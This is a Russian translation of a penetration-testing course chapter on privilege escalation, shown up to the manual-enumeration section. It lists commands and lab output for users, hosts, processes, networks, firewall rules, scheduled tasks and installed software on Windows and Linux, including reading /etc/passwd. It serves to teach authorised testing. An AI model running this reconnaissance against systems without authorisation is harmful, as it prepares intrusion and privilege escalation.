disclaimer: Данный материал является свободным (приближенным к оригиналу) переводом методического материала PWK, в частности Глава 18. Повышение привилегий. В связи с закрытым форматом распространения данного материала убедительная просьба ознакомившихся с ней не осуществлять свободное распространение содержимого статьи, чтобы не ставить под удар других участников форума. Приятного чтения.
Введение
Во время пентеста мы часто проникаем в систему в качестве стандартного или непривилегированного пользователя. В этих случаях мы, как правило, стремимся получить расширенные права доступа до того, как сможем продемонстрировать полный ущерб от компрометации. Этот процесс называется Повышение привилегий (Privilege escalation) и является необходимым навыком, так как в современных условиях взлом "direct-to-root" является редким явлением.
В этой главе мы предположим, что получили доступ непривилегированного пользователя к целям Windows и Linux и продемонстрируем технику повышения привилегий на этих целях.
Несмотря на то, что каждая цель может считаться уникальной из-за различий в версиях ОС, уровне обновления и различных других факторов, существуют общие подходы повышения привилегий. Чтобы использовать их, мы будем искать неправильно настроенные службы, недостаточные ограничения прав доступа к двоичным файлам или службам, прямые уязвимости ядра, уязвимое программное обеспечение, запущенное с высокими привилегиями, конфиденциальную информацию, хранящуюся в локальных файлах, параметры реестра, которые всегда повышают привилегии перед выполнением двоичного файла, установочные скрипты, которые могут содержать жестко прописанные учетные данные, и многое другое.
Сбор информации
После компрометации цели и получения начального доступа в качестве непривилегированного пользователя, первым шагом является сбор как можно большего количества информации о жертве. Это позволит лучше понять природу скомпрометированной машины и обнаружить возможные пути повышения (эскалации) привилегий.
В этой главе будут рассмотренны как ручные (ссылка на материалы
Ссылка скрыта от гостей
и
Ссылка скрыта от гостей
), так и автоматизированные методы сбора информации, а также бужут обсуждаться сильные и слабые стороны каждого из этих методов.Ручной сбор информации
Ручной сбор информации о системе может отнимать много времени. Однако такой подход позволяет получить больше контроля и может помочь выявить более экзотические методы повышения привилегий, которые часто пропускаются автоматизированными инструментами.
Некоторые команды в этой части главы могут потребовать небольших модификаций в зависимости от версии целевой операционной системы. Кроме того, не все команды, представленные в этом разделе, будут доступны для использования на выделенных клиентах.
Получение списка пользователей (Enumerating Users)
При получении начального доступа к цели, одним из первых, что необходимо определить, это контекст пользователя. Команда `whoami`, доступная как на Windows, так и на Linux платформах, поможет нам в этом.
При запуске без параметров команда `whoami` отобразит имя пользователя, под которым запущен шелл. На Windows мы можем передать найденное имя пользователя в качестве аргумента команде
Ссылка скрыта от гостей
для сбора дополнительной информации.
Код:
C:\Users\student>whoami
client251\student
C:\Users\student>net user student
User name student
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 3/31/2018 10:37:35 AM
Password expires Never
Password changeable 3/31/2018 10:37:35 AM
Password required No
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 11/8/2019 12:56:15 PM
Logon hours allowed All
Local Group Memberships *Remote Desktop Users *Users
Global Group memberships *None
The command completed successfully.
Листинг 1 - Получение информации о пользователе в Windows
Основываясь на полученном результате известно, что работаем в качестве пользователя student, а также получена дополнительная информация, включая группы, к которым этот пользователь принадлежит.
В системах на базе Linux можно использовать команду id для сбора контекстной информации о пользователе:
Код:
student@debian:~$ id
uid=1000(student) gid=1000(student) groups=1000(student)
Листинг 2 - Получение информации о пользователе в Linux
Результат команды id показывает, что мы работаем в качестве пользователя student, у которого
Ссылка скрыта от гостей
и идентификатор группы (GID) 1000.Чтобы обнаружить другие учетные записи пользователей в Windows системе, мы можем использовать команду net user.
Код:
C:\Users\student>net user
User accounts for \\CLIENT251
-------------------------------------------------------------------------------
admin Administrator DefaultAccount
Guest student WDAGUtilityAccount
The command completed successfully.
Листинг 3 - Получение информации о пользователях в Windows
Выводит данные о других учетных записях, включая учетную запись администратора.
Чтобы определить количество пользователей в системе на базе Linux, можно просто прочитать содержимое файла /etc/passwd.
Код:
student@debian:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
...
speech-dispatcher:x:108:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
...
xrdp:x:114:120::/var/run/xrdp:/bin/false
student:x:1000:1000:Student,PWK,,:/home/student:/bin/bash
mysql:x:115:121:MySQL Server,,,:/nonexistent:/bin/false
Листинг 4 - Получение информации о пользователях в Linux
В файле passwd перечислены несколько учетных записей пользователей, включая учетные записи, используемые различными службами на целевой машине, такими как www-data, что указывает на вероятность установки веб-сервера.
Сбор информации о всех пользователях на целевой машине может помочь определить потенциальные высокопривилегированные пользовательские учетные записи, которые можно использовать при попытке повысить привилегии.
Создание списка имен компьютеров (Enumerating the Hostname)
Hostname компьютера часто может дать ключ к разгадке его функциональной роли. Чаще всего имена хостов включают в себя идентифицируемые сокращения, такие как web для веб-сервера, db для сервера баз данных, dc для контроллера домена и т.д.
Можно обнаружить имя хоста с помощью команды под названием hostname (ссылка на материал
Ссылка скрыта от гостей
и
Ссылка скрыта от гостей
), которая установлена как на Windows, так и на Linux.Сначала запустим его на Windows,
Код:
C:\Users\student>hostname
client251
Листинг 5 - Получение информации об имени компьютера на Windows
а теперь на Linux:
Код:
student@debian:~$ hostname
debian
Листинг 6 - Получение информации об имени компьютера на Linux
Довольно общее имя машины Windows указывает на возможное соглашение об именах в сети, которое может помочь найти дополнительные рабочие станции, в то время как имя хоста клиента Linux предоставляет нам информацию об используемой операционной системе (Debian).
Определение роли машины может помочь сфокусировать усилия по сбору информации.
Сбор информации о версии операционной системы и её архитектуре
В какой-то момент в процессе эскалации привилегий может понадобиться использовать
Ссылка скрыта от гостей
exploits, которые целенаправленно эксплуатируют уязвимости в ядре целевой операционной системы. Эти типы эксплойтов собираются для очень специфического типа цели, заданного конкретной комбинацией операционной системы и версии. Так как атака на цель с использованием несовместимого эксплойта ядра может привести к нестабильности системы (вызывая потерю доступа и, скорее всего, оповещение системных администраторов), необходимо собрать точную информацию о цели.В операционной системе Windows можно собирать конкретную информацию об операционной системе и архитектуре с помощью утилиты
Ссылка скрыта от гостей
.Также можно использовать
Ссылка скрыта от гостей
вместе с несколькими полезными флагами для фильтрации вывода. В частности, можно сопоставить шаблоны начала строки с /B и указать конкретную строку поиска с помощью /C:.В примере ниже будут использоваться эти флаги для извлечения имени операционной системы (Name), а также её версию (Version) и архитектуру (System).
Код:
C:\Users\student>systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.16299 N/A Build 16299
System Type: X86-based PC
Листинг 7 - Получение информации о версии и архитектуре операционной системы
Как видно из результатов, целевая система работает под управлением версии 10.0.16299 Windows 10 Pro на архитектуре x86.
В Linux файлы /etc/issue и /etc/*-release содержат аналогичную информацию. Также можно запустить команду
Ссылка скрыта от гостей
:
Код:
student@debian:~$ cat /etc/issue
Debian GNU/Linux 9 \n \l
student@debian:~$ cat /etc/*-release
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
NAME="Debian GNU/Linux"
VERSION_ID="9"
VERSION="9 (stretch)"
ID=debian
...
student@debian:~$ uname -a
Linux debian 4.9.0-6-686 #1 SMP Debian 4.9.82-1+deb9u3 (2018-03-02) i686 GNU/Linux
Листинг 8 - Получение информации о версии и архитектуре операционной системы
Файлы, расположенные в каталоге /etc, содержат версию операционной системы (Debian 9), а uname -a выводит версию ядра (4.9.0-6) и архитектуры (i686 / x86).
Сбор информации о запущеных процессах и сервисах
Далее рассмотрим запущенные процессы и сервисы, которые могут позволить повысить привилегии. Для этого процесс должен выполняться в контексте привилегированной учетной записи и должен либо иметь небезопасные разрешения, либо позволять взаимодействовать с учетной записью непредусмотренными способами.
Можно получить список запущенных процессов в Windows с помощью команды
Ссылка скрыта от гостей
. Флаг /SVC вернет процессы, которые привязаны к определенной службе Windows.
Код:
C:\Users\student>tasklist /SVC
Image Name PID Services
========================= ======== ============================================
...
lsass.exe 564 KeyIso, Netlogon, SamSs, VaultSvc
svchost.exe 676 BrokerInfrastructure, DcomLaunch, LSM,
PlugPlay, Power, SystemEventsBroker
fontdrvhost.exe 684 N/A
fontdrvhost.exe 692 N/A
svchost.exe 776 RpcEptMapper, RpcSs
dwm.exe 856 N/A
svchost.exe 944 Appinfo, BITS, DsmSvc, gpsvc, IKEEXT,
iphlpsvc, LanmanServer, lfsvc, ProfSvc,
Schedule, SENS, SessionEnv,
ShellHWDetection, Themes, TokenBroker,
UserManager, winmgmt, WpnService
svchost.exe 952 TermService
svchost.exe 960 BFE, CoreMessagingRegistrar, DPS, MpsSvc
svchost.exe 988 Dhcp, EventLog, lmhosts, TimeBrokerSvc,
WinHttpAutoProxySvc, wscsvc
...
mysqld.exe 1816 mysql
...
Листинг 9 - Список запущеных процессов и соответствующих им сервисов
Результат выполнения команды показывает, что на компьютере запущен сервис MySQL, который может быть интересен при определенных условиях. Имейте в виду, что в этом результате не будут показаны процессы, выполняемые привилегированными пользователями. На системах на базе Windows нам понадобятся высокие привилегии для сбора этой информации, что усложняет процесс.
На Linux можно получить список системных процессов (включая процессы, выполняемые привилегированными пользователями) с помощью команды
Ссылка скрыта от гостей
. Используем флаги a и x для перечисления всех процессов с или без
Ссылка скрыта от гостей
и u для отображения процессов в удобочитаемом формате.
Код:
student@debian:~$ ps axu
USER PID %CPU %MEM VSZ RSS STAT START TIME COMMAND
root 1 0.0 0.6 28032 6256 Ss Nov07 0:03 /sbin/init
root 2 0.0 0.0 0 0 S Nov07 0:00 [kthreadd]
root 254 0.0 0.9 54536 9924 Ssl Nov07 1:45 /usr/bin/vmtoolsd
root 255 0.0 0.0 0 0 S Nov07 0:00 [kauditd]
root 259 0.0 0.4 25956 5100 Ss Nov07 0:01 /lib/systemd/systemd-journald
root 294 0.0 0.4 17096 4996 Ss Nov07 0:00 /lib/systemd/systemd-udevd
systemd+ 309 0.0 0.3 16884 3940 Ssl Nov07 0:07 /lib/systemd/systemd-timesyncd
root 359 0.0 0.0 0 0 S< Nov07 0:00 [ttm_swap]
root 514 0.0 1.5 53964 16272 Ss Nov07 0:00 /usr/bin/VGAuthService
root 515 0.0 0.2 5256 2816 Ss Nov07 0:00 /usr/sbin/cron -f
message+ 518 0.0 0.3 6368 3896 Ss Nov07 0:37 /usr/bin/dbus-daemon --system.
rtkit 523 0.0 0.3 24096 3156 SNsl Nov07 0:00 /usr/lib/rtkit/rtkit-daemon
...
student 8868 0.0 0.3 7664 3336 pts/0 R+ 14:25 0:00 ps axu
Листинг 10 - Список процессов в Linux
В выводе перечислены несколько процессов, запущенных в качестве корневых, которые стоит исследовать на предмет возможных уязвимостей. Обратите внимание, что команда ps также перечислена в выводе.
Сбор сетевой информации
Следующим шагом в анализе целевого узла является обзор доступных сетевых интерфейсов, маршрутов и открытых портов.
Эта информация может помочь определить, подключена ли скомпрометированная цель к нескольким сетям и, следовательно, может быть использована в качестве опорной точки. Кроме того, наличие определенных виртуальных интерфейсов может указывать на существование виртуального или антивирусного программного обеспечения.
Злоумышленник может использовать скомпрометированную цель в качестве опорной точки или перемещаться между подключенными сетями. Это позволит расширить обзор сети и позволить злоумышленнику атаковать узлы, невидимые непосредственно с исходной атакующей машины.
Также можно исследовать привязки портов (port bindings), чтобы проверить, доступен ли работающий сервис только по адресу loopback, а не по маршрутизируемому. Изучение привилегированной программы или прослушивания сервиса на интерфейсе loopback может расширить поверхность атаки и увеличить вероятность атаки с повышением привилегий.
Можно начать сбор информации об операционной системе Windows с
Ссылка скрыта от гостей
, используя флаг /all для отображения полной TCP/IP конфигурации всех адаптеров.
Код:
C:\Users\student>ipconfig /all
Windows IP Configuration
Host Name . . . . . . . . . . . . : client251
Primary Dns Suffix . . . . . . . : corp.com
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
DNS Suffix Search List. . . . . . : corp.com
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Intel(R) 82574L Gigabit Network Connection
Physical Address. . . . . . . . . : 00-0C-29-C1-ED-B0
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
Link-local IPv6 Address . . . . . : fe80::bc64:ab2f:a10f:edc9%15(Preferred)
IPv4 Address. . . . . . . . . . . : 10.11.0.22(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . :
DHCPv6 IAID . . . . . . . . . . . : 83889193
DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-25-55-82-FF-00-0C-29-C1-ED-B0
DNS Servers . . . . . . . . . . . : 10.11.0.2
NetBIOS over Tcpip. . . . . . . . : Enabled
Ethernet adapter Ethernet1:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Intel(R) 82574L Gigabit Network Connection #2
Physical Address. . . . . . . . . : 00-0C-29-C1-ED-BA
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
Link-local IPv6 Address . . . . . : fe80::9d3e:158a:241b:beb7%4(Preferred)
IPv4 Address. . . . . . . . . . . : 192.168.1.111(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.1.1
DHCPv6 IAID . . . . . . . . . . . : 167775273
DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-25-55-82-FF-00-0C-29-C1-ED-B0
DNS Servers . . . . . . . . . . . : fec0:0:0:ffff::1%1
fec0:0:0:ffff::2%1
fec0:0:0:ffff::3%1
NetBIOS over Tcpip. . . . . . . . : Enabled
Листинг 11 - TCP/IP Конфигурация всех доступных сетевых адаптеров в Windows
Этот компьютер имеет несколько сетевых интерфейсов. Далее подробнее рассмотрим его таблицы маршрутизации.
Для отображения сетевых таблиц маршрутизации мы воспользуемся командой
Ссылка скрыта от гостей
, за которой последует аргумент print.
Код:
C:\Users\student>route print
===========================================================================
Interface List
15...00 0c 29 c1 ed b0 ......Intel(R) 82574L Gigabit Network Connection
4...00 0c 29 c1 ed ba ......Intel(R) 82574L Gigabit Network Connection #2
1...........................Software Loopback Interface 1
===========================================================================
IPv4 Route Table
===========================================================================
Active Routes:
Network Destination Netmask Gateway Interface Metric
0.0.0.0 0.0.0.0 192.168.1.1 192.168.1.111 281
0.0.0.0 0.0.0.0 10.11.0.2 10.11.0.22 281
10.11.0.0 255.255.255.0 On-link 10.11.0.22 281
10.11.0.22 255.255.255.255 On-link 10.11.0.22 281
10.11.0.255 255.255.255.255 On-link 10.11.0.22 281
127.0.0.0 255.0.0.0 On-link 127.0.0.1 331
127.0.0.1 255.255.255.255 On-link 127.0.0.1 331
127.255.255.255 255.255.255.255 On-link 127.0.0.1 331
192.168.1.0 255.255.255.0 On-link 192.168.1.111 281
192.168.1.111 255.255.255.255 On-link 192.168.1.111 281
192.168.1.255 255.255.255.255 On-link 192.168.1.111 281
224.0.0.0 240.0.0.0 On-link 127.0.0.1 331
224.0.0.0 240.0.0.0 On-link 192.168.1.111 281
224.0.0.0 240.0.0.0 On-link 10.11.0.22 281
255.255.255.255 255.255.255.255 On-link 127.0.0.1 331
255.255.255.255 255.255.255.255 On-link 192.168.1.111 281
255.255.255.255 255.255.255.255 On-link 10.11.0.22 281
===========================================================================
Persistent Routes:
Network Address Netmask Gateway Address Metric
0.0.0.0 0.0.0.0 192.168.1.1 Default
0.0.0.0 0.0.0.0 10.11.0.2 Default
===========================================================================
IPv6 Route Table
===========================================================================
Active Routes:
If Metric Network Destination Gateway
1 331 ::1/128 On-link
4 281 fe80::/64 On-link
15 281 fe80::/64 On-link
4 281 fe80::9d3e:158a:241b:beb7/128
On-link
15 281 fe80::bc64:ab2f:a10f:edc9/128
On-link
1 331 ff00::/8 On-link
4 281 ff00::/8 On-link
15 281 ff00::/8 On-link
===========================================================================
Persistent Routes:
None
Листинг 12 - Таблица маршрутизации в Windows
Наконец, можно использовать
Ссылка скрыта от гостей
для просмотра активных сетевых соединений. Указание флага a отобразит все активные TCP соединения, флаг n позволит нам отобразить адрес и номер порта в цифровом виде, а флаг o отобразит PID владельца каждого соединения.
Код:
C:\Users\student>netstat -ano
Active Connections
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 7432
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 776
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:3306 0.0.0.0:0 LISTENING 1472
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING 952
TCP 0.0.0.0:8895 0.0.0.0:0 LISTENING 2284
TCP 0.0.0.0:9121 0.0.0.0:0 LISTENING 7432
...
TCP 127.0.0.1:49689 127.0.0.1:49690 ESTABLISHED 2284
TCP 127.0.0.1:49690 127.0.0.1:49689 ESTABLISHED 2284
TCP 127.0.0.1:49691 127.0.0.1:49692 ESTABLISHED 2284
TCP 127.0.0.1:49692 127.0.0.1:49691 ESTABLISHED 2284
...
Листинг 13 - Список всех активных сетевых соединений в Windows
Nettstat не только предоставил список всех портов прослушивания на этой машине, но также включил информацию об установленных соединениях, которые могут раскрыть других пользователей, подключенных к этой машине, на которых, возможно, нацелимся позже.
Аналогичные команды доступны на Linux-хосте. В зависимости от версии Linux, можно отобразить TCP/IP конфигурацию каждого сетевого адаптера с помощью
Ссылка скрыта от гостей
или
Ссылка скрыта от гостей
. Обе команды принимают параметр a для отображения всей доступной информации.
Код:
student@debian:~$ ip a
...
4: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group
link/ether 00:50:56:8a:4d:48 brd ff:ff:ff:ff:ff:ff
inet 10.11.0.128/24 brd 10.11.0.255 scope global ens192
valid_lft forever preferred_lft forever
inet6 fe80::250:56ff:fe8a:4d48/64 scope link
valid_lft forever preferred_lft forever
5: ens224: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group
link/ether 00:50:56:8a:5c:5e brd ff:ff:ff:ff:ff:ff
inet 192.168.1.112/24 brd 192.168.1.255 scope global ens224
valid_lft forever preferred_lft forever
inet6 fe80::250:56ff:fe8a:5c5e/64 scope link
valid_lft forever preferred_lft forever
Листинг 14 - TCP/IP Конфигурация всех доступных сетевых адаптеров в Linux
Основываясь на результатах выше, клиент Linux также подключен к нескольким сетям.
Можно отобразить таблицы маршрутизации сети либо с помощью
Ссылка скрыта от гостей
, либо с помощью
Ссылка скрыта от гостей
, в зависимости от типа и версии Linux.
Код:
student@debian:~$ /sbin/route
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
default 192.168.1.254 0.0.0.0 UG 0 0 0 ens192
10.11.0.0 0.0.0.0 255.255.255.0 U 0 0 0 ens224
192.168.1.0 0.0.0.0 255.255.255.0 U 0 0 0 ens192
Литсинг 15 - Таблица маршрутизации в Linux
Наконец, можно отобразить активные сетевые соединения и прослушивающие порты с помощью
Ссылка скрыта от гостей
или
Ссылка скрыта от гостей
, которые принимают одни и те же аргументы.Например, можно отобразить все соединения с помощью параметра -a, избежать разрешения имени хоста (которое может остановить выполнение команды) с помощью -n, а также отобразить имя процесса, к которому принадлежит соединение, с помощью -p. Мы можем объединить аргументы и просто запустить ss -anp:
Код:
student@debian:~$ ss -anp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
...
tcp LISTEN 0 80 127.0.0.1:3306 *:*
tcp LISTEN 0 128 *:22 *:*
tcp ESTAB 0 48852 10.11.0.128:22 10.11.0.4:52804
tcp LISTEN 0 128 :::22 :::*
tcp LISTEN 0 2 ::1:3350 :::*
tcp LISTEN 0 2 :::3389 :::*
Листинг 16 - Список всех активных сетевых соединений в Linux
В выводе перечислены различные прослушивающие порты и активные сеансы, включая наше собственное активное SSH-соединение.
Сбор информации о правилах и статусе фаервола
Вообще говоря, состояние, профиль и правила фаервола представляют интерес только на этапе удаленной эксплуатации. Однако, эта информация может быть полезна во время повышения привилегий. Например, если сетевая служба не является удаленно доступной из-за того, что она заблокирована фаерволом, то, как правило, она доступна локально через интерфейс loopback. Если возможно взаимодействовать с этими службами локально, то можно использовать их для повышения привилегий в локальной системе.
Кроме того, можно собирать информацию о фильтрации входящего и исходящего портов на этой фазе для облегчения переадресации портов и туннелирования, когда придёт время перейти во внутреннюю сеть.
В Windows можно изучить текущий профиль фаервола с помощью команды
Ссылка скрыта от гостей
.
Код:
C:\Users\student>netsh advfirewall show currentprofile
Public Profile Settings:
---------------------------------------------------------------
State ON
Firewall Policy BlockInbound,AllowOutbound
LocalFirewallRules N/A (GPO-store only)
LocalConSecRules N/A (GPO-store only)
InboundUserNotification Enable
RemoteManagement Disable
UnicastResponseToMulticast Enable
Logging:
LogAllowedConnections Disable
LogDroppedConnections Disable
FileName %systemroot%\system32\LogFiles\Firewall\pfirewall.log
MaxFileSize 4096
Ok.
Листинг 17 - Текущий профиль фаервола в Windows
В этом случае текущий профиль фаервола активен, поэтому подробнее рассмотрим его правила.
Можно перечислить правила фаервола с помощью команды netsh, используя следующий синтаксис:
Код:
C:\Users\student>netsh advfirewall firewall show rule name=all
Rule Name: @{Microsoft.Windows.Photos_2018.18022.15810.1000_x86__8wekyb3d8bbw
---------------------------------------------------
Enabled: Yes
Direction: In
Profiles: Domain,Private,Public
Grouping: Microsoft Photos
LocalIP: Any
RemoteIP: Any
Protocol: Any
Edge traversal: Yes
Action: Allow
Rule Name: @{Microsoft.Windows.Photos_2018.18022.15810.1000_x86__8wekyb3d8bbw
----------------------------------------------------------------------
Enabled: Yes
Direction: Out
Profiles: Domain,Private,Public
Grouping: Microsoft Photos
LocalIP: Any
RemoteIP: Any
Protocol: Any
Edge traversal: No
Action: Allow
Rule Name: @{Microsoft.XboxIdentityProvider_12.39.13003.1000_x86__8wekyb3d8bb
----------------------------------------------------------------------
...
Листинг 18 - Список правил фаервола в Windows
Согласно двум правилам фаервола, перечисленным выше, приложению Microsoft Photos разрешено создавать как входящие, так и исходящие соединения к любому IP адресу и с него, используя любой протокол. Помните, что не все правила фаервола полезны, но некоторые конфигурации могут помочь расширить поверхность атак.
В системах на базе Linux, необходимо иметь root привилегии, чтобы получить список правил фаервола с
Ссылка скрыта от гостей
. Однако, в зависимости от того, как настроен фаервол, можно получить информацию о правилах как стандартный пользователь.Например, пакет
Ссылка скрыта от гостей
в Debian Linux по умолчанию сохраняет правила фаервола в определённых файлах в каталоге /etc/iptables. Эти файлы используются системой для восстановления правил
Ссылка скрыта от гостей
во время загрузки. Эти файлы часто оставляются со слабыми разрешениями, что позволяет их читать любому локальному пользователю целевой системы.Также можно искать файлы, созданные командой iptables-save, которая используется для сброса конфигурации фаервола в файл, указанный пользователем. Этот файл обычно используется в качестве входного для команды iptables-restore и используется для восстановления правил фаервола во время загрузки. Если системный администратор когда-либо запускал эту команду, то можно выполнить поиск в каталоге конфигурации (/etc) или использовать grep в файловой системе команды iptables, чтобы найти этот файл. Если файл имеет небезопасные права, можно было бы использовать его содержимое, чтобы узнать о правилах настройки фаервола, исполняемого в системе.
Сбор информации о запланированных задачах (Scheduled Tasks)
Атакующие обычно используют запланированные задания в атаках с повышением привилегий.
Системы, выступающие в качестве серверов, часто периодически выполняют различные автоматизированные, запланированные задачи. Системы планирования на этих серверах часто имеют несколько запутанный синтаксис, который используется для выполнения пользовательских исполняемых файлов или скриптов. Когда эти системы неправильно настроены, или пользовательские файлы остаются с небезопасными привилегиями, можно изменять эти файлы, которые будут выполняться по расписанию с высоким уровнем привилегий.
Можно создавать и просматривать запланированные задачи в Windows с помощью команды
Ссылка скрыта от гостей
. Аргумент /query отображает задачи, а /FO LIST устанавливает формат вывода в простой список. Мы также можем использовать /V для запроса подробного вывода.
Код:
c:\Users\student>schtasks /query /fo LIST /v
Folder: \
INFO: There are no scheduled tasks presently available at your access level.
Folder: \Microsoft
INFO: There are no scheduled tasks presently available at your access level.
Folder: \Microsoft\Office
HostName: CLIENT251
TaskName: \Microsoft\Office\Office 15 Subscription Heartbeat
Next Run Time: 11/12/2019 3:18:24 AM
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 11/11/2019 3:49:25 AM
Last Result: 0
Author: Microsoft Office
Task To Run: %ProgramFiles%\Common Files\Microsoft Shared\Office16\OLicenseHeartbeat.exe
Start In: N/A
Comment: Task used to ensure that the Microsoft Office Subscription licensing is current.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 04:00:00
Schedule: Scheduling data is not available in this format
Schedule Type: Daily
Start Time: 12:00:00 AM
Start Date: 1/1/2010
End Date: N/A
Days: Every 1 day(s)
Months: N/A
Repeat: Every: Disabled
Repeat: Until: Time: Disabled
Repeat: Until: Duration: Disabled
Repeat: Stop If Still Running: Disabled
...
Листинг 19 - Список всех запланированных задач в Windows
Результат команды schtasks включает в себя много полезной информации, такой как задача, которую нужно выполнить, следующий раз, когда она должна быть выполнена, последний раз, когда она была выполнена, и подробности о том, как часто она будет выполняться.
Планировщик задач на базе Linux известен как
Ссылка скрыта от гостей
. Запланированные задачи перечислены в каталогах /etc/cron.*, где * представляет частоту, с которой задача будет выполняться. Например, задачи, которые будут выполняться ежедневно, можно найти в каталоге /etc/cron.daily. Каждый скрипт находится в своем подкаталоге.
Код:
student@debian:~$ ls -lah /etc/cron*
-rw-r--r-- 1 root root 722 Oct 7 2017 /etc/crontab
/etc/cron.d:
-rw-r--r-- 1 root root 285 May 29 2017 anacron
-rw-r--r-- 1 root root 712 Jan 1 2017 php
-rw-r--r-- 1 root root 102 Oct 7 2017 .placeholder
/etc/cron.daily:
-rwxr-xr-x 1 root root 311 May 29 2017 0anacron
-rwxr-xr-x 1 root root 539 Mar 30 2018 apache2
-rwxr-xr-x 1 root root 1.5K Sep 13 2017 apt-compat
-rwxr-xr-x 1 root root 355 Oct 25 2016 bsdmainutils
-rwxr-xr-x 1 root root 384 Dec 12 2012 cracklib-runtime
-rwxr-xr-x 1 root root 1.6K Feb 22 2017 dpkg
-rwxr-xr-x 1 root root 89 May 5 2015 logrotate
-rwxr-xr-x 1 root root 1.1K Dec 13 2016 man-db
-rwxr-xr-x 1 root root 249 May 17 2017 passwd
-rw-r--r-- 1 root root 102 Oct 7 2017 .placeholder
/etc/cron.hourly:
-rw-r--r-- 1 root root 102 Oct 7 2017 .placeholder
/etc/cron.monthly:
-rwxr-xr-x 1 root root 313 May 29 2017 0anacron
-rw-r--r-- 1 root root 102 Oct 7 2017 .placeholder
/etc/cron.weekly:
-rwxr-xr-x 1 root root 312 May 29 2017 0anacron
-rwxr-xr-x 1 root root 723 Dec 13 2016 man-db
-rw-r--r-- 1 root root 102 Oct 7 2017 .placeholder
Листинг 20 - Список всех задач cron в Linux
В списке содержимого каталога видны несколько задач, запланированных к ежедневному выполнению.
Стоит отметить, что системные администраторы часто добавляют свои собственные запланированные задачи в файл /etc/crontab. Эти задачи должны быть тщательно проверены на наличие небезопасных файловых прав доступа, так как большинство задач в этом конкретном файле будут выполняться от имени root.
Код:
student@debian:~$ cat /etc/crontab
...
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
5 0 * * * root /var/scripts/user_backups.sh
Листинг 21 - Пример файла /etc/crontab
В этом примере показан скрипт резервного копирования, запущенный от имени root. Если этот файл имеет уязвимые права доступа, можно использовать его для повышения привилегий.
Сбор информации об установленном программном обеспечении и обновлениях (Enumerating Installed Applications and Patch Levels)
В какой-то момент может понадобиться использовать эксплойт для повышения локальных привилегий. В таком случае поиск рабочего эксплойта начинается с определения всех установленных приложений, отмечая версию каждого из них (а также уровень обновлений ОС на Windows системах). Можно использовать эту информацию для поиска подходящего эксплойта.
Ручной поиск этой информации может быть очень трудоемким и неэффективным. Однако, можно использовать очень мощную Windows утилиту,
Ссылка скрыта от гостей
для автоматизации этого процесса.Утилита wmic предоставляет доступ к
Ссылка скрыта от гостей
, которая является инфраструктурой для управления данными и операциями на Windows.Мы можем использовать wmic с аргументом
Ссылка скрыта от гостей
класса WMI с последующим get, который используется для получения специфических значений свойств. Затем можно выбрать интересующие нас свойства, такие как name, version и vendor.Важно помнить, что в классе WMI продукта перечислены только те приложения, которые установлены
Ссылка скрыта от гостей
. В нем не будут перечислены приложения, которые не используют Windows Installer.
Код:
c:\Users\student>wmic product get name, version, vendor
Name Vendor Version
Microsoft OneNote MUI (English) 2016 Microsoft Corporation 16.0.4266.1001
Microsoft Office OSM MUI (English) 2016 Microsoft Corporation 16.0.4266.1001
Microsoft Office Standard 2016 Microsoft Corporation 16.0.4266.1001
Microsoft Office OSM UX MUI (English) 2016 Microsoft Corporation 16.0.4266.1001
Microsoft Office Shared Setup Metadata MUI Microsoft Corporation 16.0.4266.1001
Microsoft Excel MUI (English) 2016 Microsoft Corporation 16.0.4266.1001
Microsoft PowerPoint MUI (English) 2016 Microsoft Corporation 16.0.4266.1001
Microsoft Publisher MUI (English) 2016 Microsoft Corporation 16.0.4266.1001
Microsoft Outlook MUI (English) 2016 Microsoft Corporation 16.0.4266.1001
